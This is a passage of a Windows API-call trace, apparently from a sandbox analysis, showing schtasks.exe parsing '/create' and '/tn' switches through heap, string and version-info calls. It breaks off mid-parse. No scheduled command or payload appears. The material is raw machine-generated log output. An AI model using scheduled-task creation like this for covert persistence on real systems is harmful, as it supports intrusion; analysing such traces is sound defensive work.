_Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.606] lstrlenW (lpString="|showsid|") returned 9 [0128.606] lstrlenW (lpString="|f|") returned 3 [0128.606] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] lstrlenW (lpString="/f") returned 2 [0128.606] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] lstrlenW (lpString="/f") returned 2 [0128.606] GetProcessHeap () returned 0x1abb7a10000 [0128.606] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x6) returned 0x1abb7a14320 [0128.606] GetProcessHeap () returned 0x1abb7a10000 [0128.606] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1ba00 [0128.606] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.606] GetProcessHeap () returned 0x1abb7a10000 [0128.606] GetProcessHeap () returned 0x1abb7a10000 [0128.606] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a138b0) returned 1 [0128.606] GetProcessHeap () returned 0x1abb7a10000 [0128.606] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a138b0) returned 0x8 [0128.606] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a138b0) returned 1 [0128.607] GetProcessHeap () returned 0x1abb7a10000 [0128.607] GetProcessHeap () returned 0x1abb7a10000 [0128.607] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b970) returned 1 [0128.607] GetProcessHeap () returned 0x1abb7a10000 [0128.607] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b970) returned 0x20 [0128.608] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b970) returned 1 [0128.608] GetProcessHeap () returned 0x1abb7a10000 [0128.608] GetProcessHeap () returned 0x1abb7a10000 [0128.608] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b730) returned 1 [0128.608] GetProcessHeap () returned 0x1abb7a10000 [0128.608] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b730) returned 0x20 [0128.609] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b730) returned 1 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.609] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b940) returned 1 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.609] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b940) returned 0x20 [0128.609] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b940) returned 1 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.609] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13940) returned 1 [0128.609] GetProcessHeap () returned 0x1abb7a10000 [0128.610] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13940) returned 0x8 [0128.610] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a13940) returned 1 [0128.610] GetProcessHeap () returned 0x1abb7a10000 [0128.610] GetProcessHeap () returned 0x1abb7a10000 [0128.610] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b4c0) returned 1 [0128.610] GetProcessHeap () returned 0x1abb7a10000 [0128.610] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b4c0) returned 0x20 [0128.610] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b4c0) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14260) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14260) returned 0xe [0128.611] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a14260) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b490) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b490) returned 0x20 [0128.611] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b490) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14280) returned 1 [0128.611] GetProcessHeap () returned 0x1abb7a10000 [0128.611] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14280) returned 0x8 [0128.612] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a14280) returned 1 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b8b0) returned 1 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b8b0) returned 0x20 [0128.612] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b8b0) returned 1 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a142a0) returned 1 [0128.612] GetProcessHeap () returned 0x1abb7a10000 [0128.612] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a142a0) returned 0x6 [0128.612] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a142a0) returned 1 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b4f0) returned 1 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b4f0) returned 0x20 [0128.613] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b4f0) returned 1 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a142c0) returned 1 [0128.613] GetProcessHeap () returned 0x1abb7a10000 [0128.613] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a142c0) returned 0x8 [0128.614] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a142c0) returned 1 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b580) returned 1 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b580) returned 0x20 [0128.614] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b580) returned 1 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13bb0) returned 1 [0128.614] GetProcessHeap () returned 0x1abb7a10000 [0128.614] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13bb0) returned 0x5a [0128.615] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a13bb0) returned 1 [0128.615] GetProcessHeap () returned 0x1abb7a10000 [0128.615] GetProcessHeap () returned 0x1abb7a10000 [0128.615] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b9a0) returned 1 [0128.615] GetProcessHeap () returned 0x1abb7a10000 [0128.615] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b9a0) returned 0x20 [0128.615] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1b9a0) returned 1 [0128.623] GetProcessHeap () returned 0x1abb7a10000 [0128.623] GetProcessHeap () returned 0x1abb7a10000 [0128.623] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14320) returned 1 [0128.623] GetProcessHeap () returned 0x1abb7a10000 [0128.623] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14320) returned 0x6 [0128.624] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a14320) returned 1 [0128.624] GetProcessHeap () returned 0x1abb7a10000 [0128.624] GetProcessHeap () returned 0x1abb7a10000 [0128.624] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ba00) returned 1 [0128.624] GetProcessHeap () returned 0x1abb7a10000 [0128.624] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ba00) returned 0x20 [0128.625] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1ba00) returned 1 [0128.625] GetProcessHeap () returned 0x1abb7a10000 [0128.625] GetProcessHeap () returned 0x1abb7a10000 [0128.625] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a16080) returned 1 [0128.625] GetProcessHeap () returned 0x1abb7a10000 [0128.625] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a16080) returned 0x18 [0128.625] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a16080) returned 1 [0128.625] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.625] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.626] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.626] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.626] RtlVerifyVersionInfo (VersionInfo=0x1adf4cc410, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0128.626] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.626] lstrlenW (lpString="create") returned 6 [0128.626] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0128.626] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.626] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.626] lstrlenW (lpString="create") returned 6 [0128.626] GetProcessHeap () returned 0x1abb7a10000 [0128.626] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b9a0 [0128.626] GetProcessHeap () returned 0x1abb7a10000 [0128.626] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a1aa50 [0128.626] _memicmp (_Buf1=0x1abb7a1aa50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.626] GetProcessHeap () returned 0x1abb7a10000 [0128.626] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x16) returned 0x1abb7a1ac50 [0128.627] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.627] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.627] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1abb7a19b60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.627] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x1adf4cc568 | out: lpdwHandle=0x1adf4cc568) returned 0x76c [0128.627] GetProcessHeap () returned 0x1abb7a10000 [0128.627] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x776) returned 0x1abb7a1bda0 [0128.628] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1abb7a1bda0 | out: lpData=0x1abb7a1bda0) returned 1 [0128.628] VerQueryValueW (in: pBlock=0x1abb7a1bda0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1adf4cc500, puLen=0x1adf4cc560 | out: lplpBuffer=0x1adf4cc500*=0x1abb7a1c150, puLen=0x1adf4cc560) returned 1 [0128.628] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.628] _vsnwprintf (in: _Buffer=0x1abb7a19b60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1adf4cc4d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.628] VerQueryValueW (in: pBlock=0x1abb7a1bda0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1adf4cc4f0, puLen=0x1adf4cc558 | out: lplpBuffer=0x1adf4cc4f0*=0x1abb7a1bf80, puLen=0x1adf4cc558) returned 1 [0128.628] lstrlenW (lpString="schtasks.exe") returned 12 [0128.628] lstrlenW (lpString="schtasks.exe") returned 12 [0128.628] lstrlenW (lpString=".EXE") returned 4 [0128.628] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.628] lstrlenW (lpString="schtasks.exe") returned 12 [0128.629] lstrlenW (lpString=".EXE") returned 4 [0128.629] lstrlenW (lpString="schtasks") returned 8 [0128.629] lstrlenW (lpString="/create") returned 7 [0128.629] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.629] _vsnwprintf (in: _Buffer=0x1abb7a19b60, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1adf4cc4d8 | out: _Buffer="schtasks /create") returned 16 [0128.629] _memicmp (_Buf1=0x1abb7a14810, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.629] GetProcessHeap () returned 0x1abb7a10000 [0128.629] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b4f0 [0128.629] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.629] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.629] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.629] GetProcessHeap () returned 0x1abb7a10000 [0128.629] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x30) returned 0x1abb7a14320 [0128.629] _vsnwprintf (in: _Buffer=0x1abb7a13e80, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1adf4cc4d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0128.629] GetProcessHeap () returned 0x1abb7a10000 [0128.629] GetProcessHeap () returned 0x1abb7a10000 [0128.630] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1bda0) returned 1 [0128.630] GetProcessHeap () returned 0x1abb7a10000 [0128.630] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1bda0) returned 0x776 [0128.630] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1bda0) returned 1 [0128.630] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.631] GetThreadLocale () returned 0x409 [0128.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.631] lstrlenW (lpString="create") returned 6 [0128.631] GetThreadLocale () returned 0x409 [0128.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.631] lstrlenW (lpString="?") returned 1 [0128.631] GetThreadLocale () returned 0x409 [0128.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.631] lstrlenW (lpString="s") returned 1 [0128.631] GetThreadLocale () returned 0x409 [0128.687] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.687] lstrlenW (lpString="u") returned 1 [0128.687] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="p") returned 1 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="ru") returned 2 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="rp") returned 2 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="sc") returned 2 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="mo") returned 2 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.688] lstrlenW (lpString="d") returned 1 [0128.688] GetThreadLocale () returned 0x409 [0128.688] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="m") returned 1 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="i") returned 1 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="tn") returned 2 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="tr") returned 2 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="st") returned 2 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="sd") returned 2 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="ed") returned 2 [0128.689] GetThreadLocale () returned 0x409 [0128.689] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.689] lstrlenW (lpString="it") returned 2 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="et") returned 2 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="k") returned 1 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="du") returned 2 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="ri") returned 2 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="z") returned 1 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.690] lstrlenW (lpString="f") returned 1 [0128.690] GetThreadLocale () returned 0x409 [0128.690] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="v1") returned 2 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="xml") returned 3 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="ec") returned 2 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="rl") returned 2 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="delay") returned 5 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="np") returned 2 [0128.691] GetThreadLocale () returned 0x409 [0128.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.691] lstrlenW (lpString="hresult") returned 7 [0128.691] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.691] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.691] lstrlenW (lpString="/create") returned 7 [0128.692] lstrlenW (lpString="-/") returned 2 [0128.692] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.692] lstrlenW (lpString="create") returned 6 [0128.692] lstrlenW (lpString="create") returned 6 [0128.692] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.692] lstrlenW (lpString="create") returned 6 [0128.692] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.692] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.692] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.692] lstrlenW (lpString="|create|") returned 8 [0128.692] lstrlenW (lpString="|create|") returned 8 [0128.692] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.692] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.692] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.692] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.692] lstrlenW (lpString="/tn") returned 3 [0128.692] lstrlenW (lpString="-/") returned 2 [0128.692] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.692] lstrlenW (lpString="create") returned 6 [0128.693] lstrlenW (lpString="create") returned 6 [0128.693] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.693] lstrlenW (lpString="tn") returned 2 [0128.693] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.693] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.693] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.693] lstrlenW (lpString="|create|") returned 8 [0128.693] lstrlenW (lpString="|tn|") returned 4 [0128.693] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.693] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.693] lstrlenW (lpString="?") returned 1 [0128.693] lstrlenW (lpString="?") returned 1 [0128.693] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.693] lstrlenW (lpString="tn") returned 2 [0128.693] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.693] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|?|") returned 3 [0128.693] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.693] lstrlenW (lpString="|?|") returned 3 [0128.693] lstrlenW (lpString="|tn|") returned 4 [0128.693] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.694] lstrlenW (lpString="s") returned 1 [0128.694] lstrlenW (lpString="s") returned 1 [0128.694] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.694] lstrlenW (lpString="tn") returned 2 [0128.694] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.695] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|s|") returned 3 [0128.695] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.695] lstrlenW (lpString="|s|") returned 3 